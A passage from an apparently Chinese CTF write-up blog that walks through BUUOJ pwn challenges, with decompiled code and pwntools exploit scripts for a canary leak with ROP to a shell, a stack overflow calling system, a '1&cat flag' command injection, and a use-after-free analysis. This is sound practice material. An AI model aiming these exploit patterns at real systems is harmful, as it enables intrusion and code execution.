<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">gift</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> format[<span class="number">8</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I&#x27;ll give u some gift to help u!&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%6s&quot;</span>, format);</span><br><span class="line">  <span class="built_in">printf</span>(format);</span><br><span class="line">  <span class="built_in">puts</span>(byte_400A05);</span><br><span class="line">  fflush(<span class="number">0LL</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">24</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v2; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Pull up your sword and tell me u story!&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x64</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>gift()中有格式化字符串，限制了长度，但是可以泄露canary值。</p>
<p>通过调试可以知道canary在格式化字符串的后面</p>
<p>格式化字符串偏移是6：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./bjdctf_2020_babyrop2&quot;</span>)</span><br><span class="line">fmt_str = <span class="number">0x0400A01</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x0000000000400993</span></span><br><span class="line">io.recv()</span><br><span class="line">gdb.attach(io)</span><br><span class="line">payload = <span class="string">&quot;aa%6$p&quot;</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br></pre></td></tr></table></figure>

<p>所以canary是7.</p>
<p>接下来就是简单的栈溢出了。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./bjdctf_2020_babyrop2&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">26953</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./bjdctf_2020_babyrop2&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line">pop_rdi_ret = <span class="number">0x0000000000400993</span></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">vuln_addr = elf.sym[<span class="string">&#x27;vuln&#x27;</span>]</span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&quot;%7$p&quot;</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">canary = <span class="built_in">int</span>(io.recv(<span class="number">18</span>),<span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span> (<span class="string">&quot;canary--&gt;&quot;</span>,canary)</span><br><span class="line">payload = <span class="string">&quot;a&quot;</span>*(<span class="number">0x20</span> -<span class="number">8</span>) +p64(canary) + p64(<span class="number">123</span>) + p64(pop_rdi_ret) + p64(puts_got)+p64(puts_plt) + p64(vuln_addr)</span><br><span class="line">io.sendlineafter(<span class="string">&quot;story!\n&quot;</span>,payload)</span><br><span class="line">puts_addr = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&quot;\x00&quot;</span>))</span><br><span class="line"><span class="built_in">print</span> (<span class="string">&quot;puts--&gt;&quot;</span>,<span class="built_in">hex</span>(puts_addr))</span><br><span class="line">base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span>*(<span class="number">0x18</span>) +p64(canary) + p64(<span class="number">0</span>) +p64(pop_rdi_ret) + p64(bin_sh) + p64(system)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x24-jarvisoj-test-your-memory"><a href="#0x24-jarvisoj-test-your-memory" class="headerlink" title="0x24.jarvisoj_test_your_memory"></a>0x24.jarvisoj_test_your_memory</h2><p>看了看题目，以为会很难，，，，结果其实很简单，就是个简单的栈题。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s2[<span class="number">11</span>]; <span class="comment">// [esp+1Dh] [ebp-13h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// [esp+28h] [ebp-8h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+2Ch] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  v6 = <span class="number">10</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\n\n\n------Test Your Memory!-------\n&quot;</span>);</span><br><span class="line">  v3 = time(<span class="number">0</span>);</span><br><span class="line">  srand(v3);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; v6; ++i )</span><br><span class="line">    s2[i] = alphanum_2626[rand() % <span class="number">0x3E</span>u];</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, s2);</span><br><span class="line">  mem_test(s2);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">mem_test</span><span class="params">(<span class="keyword">char</span> *s2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">19</span>]; <span class="comment">// [esp+15h] [ebp-13h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0xB</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nwhat???? : &quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;0x%x \n&quot;</span>, hint);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;cff flag go go go ...\n&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(s, s2, <span class="number">4u</span>) )</span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">&quot;good job!!\n&quot;</span>);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">&quot;cff flag is failed!!\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./memory&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">27913</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./memory&quot;</span>)</span><br><span class="line"></span><br><span class="line">system = elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">cat_flag = <span class="number">0x080487E0</span></span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#io.recvuntil(&quot;&gt; &quot;)</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x13</span>+<span class="number">4</span>) + p32(system)+p32(main) + p32(cat_flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x25-bjdctf-2020-router"><a href="#0x25-bjdctf-2020-router" class="headerlink" title="0x25.bjdctf_2020_router"></a>0x25.bjdctf_2020_router</h2><p>emmm….这题怎么说呢看了半天，结果算是个脑洞题吧，就linux命令拼接。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// [rsp+Ch] [rbp-74h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">16</span>]; <span class="comment">// [rsp+10h] [rbp-70h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> dest[<span class="number">8</span>]; <span class="comment">// [rsp+20h] [rbp-60h] BYREF</span></span><br><span class="line">  __int64 v7; <span class="comment">// [rsp+28h] [rbp-58h]</span></span><br><span class="line">  <span class="keyword">int</span> v8; <span class="comment">// [rsp+30h] [rbp-50h]</span></span><br><span class="line">  <span class="keyword">char</span> v9; <span class="comment">// [rsp+34h] [rbp-4Ch]</span></span><br><span class="line">  <span class="keyword">char</span> v10[<span class="number">56</span>]; <span class="comment">// [rsp+40h] [rbp-40h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v11; <span class="comment">// [rsp+78h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v11 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">1</span>, <span class="number">0LL</span>);</span><br><span class="line">  *(_QWORD *)dest = <span class="string">&#x27; gnip&#x27;</span>;</span><br><span class="line">  v7 = <span class="number">0LL</span>;</span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  v9 = <span class="number">0</span>;</span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to BJDCTF router test program! &quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    menu();</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Please input u choose:&quot;</span>);</span><br><span class="line">    v4 = <span class="number">0</span>;</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v4);</span><br><span class="line">    <span class="keyword">switch</span> ( v4 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:                                   <span class="comment">// ping</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Please input the ip address:&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">0x10</span>uLL);</span><br><span class="line">        <span class="built_in">strcat</span>(dest, buf);</span><br><span class="line">        system(dest);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;done!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:                                   <span class="comment">// test</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;bibibibbibibib~~~&quot;</span>);</span><br><span class="line">        sleep(<span class="number">3u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;ziziizzizi~~~&quot;</span>);</span><br><span class="line">        sleep(<span class="number">3u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;something wrong!&quot;</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Test done!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:                                   <span class="comment">// leave comments</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Please input what u want to say&quot;</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Your suggest will help us to do better!&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, v10, <span class="number">0x3A</span>uLL);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Dear ctfer,your suggest is :%s&quot;</span>, v10);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:                                   <span class="comment">// root</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Hey guys,u think too much!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Good Bye!&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Functional development!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./bjdctf_2020_router&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">28235</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;1&amp;cat flag&quot;</span>)</span><br><span class="line">io.recv()</span><br></pre></td></tr></table></figure>

<h2 id="0x26-hitcontraining-uaf"><a href="#0x26-hitcontraining-uaf" class="headerlink" title="0x26.hitcontraining_uaf"></a>0x26.hitcontraining_uaf</h2><p>一开始总是指针偏移的形式展示notelist，按y然后char * 或者char**就可以数组显示了。(int也可)</p>
<p>add:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> **<span class="title">add_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> **result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> **v1; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [esp+0h] [ebp-18h] BYREF</span></span><br><span class="line">  <span class="keyword">size_t</span> size; <span class="comment">// [esp+8h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  result = count;</span><br><span class="line">  <span class="keyword">if</span> ( count &gt; <span class="number">5</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Full&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">4</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    result = (&amp;notelist)[i];</span><br><span class="line">    <span class="keyword">if</span> ( !result )</span><br><span class="line">    &#123;</span><br><span class="line">      (&amp;notelist)[i] = <span class="built_in">malloc</span>(<span class="number">8u</span>);</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;notelist)[i] )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      *(&amp;notelist)[i] = print_note_content;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Note size :&quot;</span>);</span><br><span class="line">      read(<span class="number">0</span>, buf, <span class="number">8u</span>);</span><br><span class="line">      size = atoi(buf);</span><br><span class="line">      v1 = (&amp;notelist)[i];</span><br><span class="line">      v1[<span class="number">1</span>] = <span class="built_in">malloc</span>(size);</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;notelist)[i][<span class="number">1</span>] )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Content :&quot;</span>);</span><br><span class="line">      read(<span class="number">0</span>, (&amp;notelist)[i][<span class="number">1</span>], size);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Success !&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> ++count;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>add中首先malloc了8，分别存放print_note_content和content的地址。</p>
<p>print:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> **<span class="title">print_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> **result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">  v2 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v2 &lt; <span class="number">0</span> || v2 &gt;= count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = (&amp;notelist)[v2];</span><br><span class="line">  <span class="keyword">if</span> ( result )</span><br><span class="line">    result = (*(&amp;notelist)[v2])((&amp;notelist)[v2]);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>打印print_note_content((&amp;notelist)[v2])。</p>
<p>delete：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">_DWORD *<span class="title">del_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">  v2 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v2 &lt; <span class="number">0</span> || v2 &gt;= count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = (&amp;notelist)[v2];</span><br><span class="line">  <span class="keyword">if</span> ( result )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>((&amp;notelist)[v2][<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">free</span>((&amp;notelist)[v2]);</span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">&quot;Success&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>del只是free并没有把指针置空，存在uaf</p>
<p>后面还有个后门函数magic</p>
<p>思路：</p>
<ul>
<li>先创建两个，然后delete掉</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; bin</span><br><span class="line">fastbins</span><br><span class="line">0x10: 0x923a038 —▸ 0x923a000 ◂— 0x0</span><br><span class="line">0x18: 0x0</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x28: 0x923a048 —▸ 0x923a010 ◂— 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x38: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure>

<ul>
<li>之后创建一个，往里面写magic的地址就OK</li>
</ul>
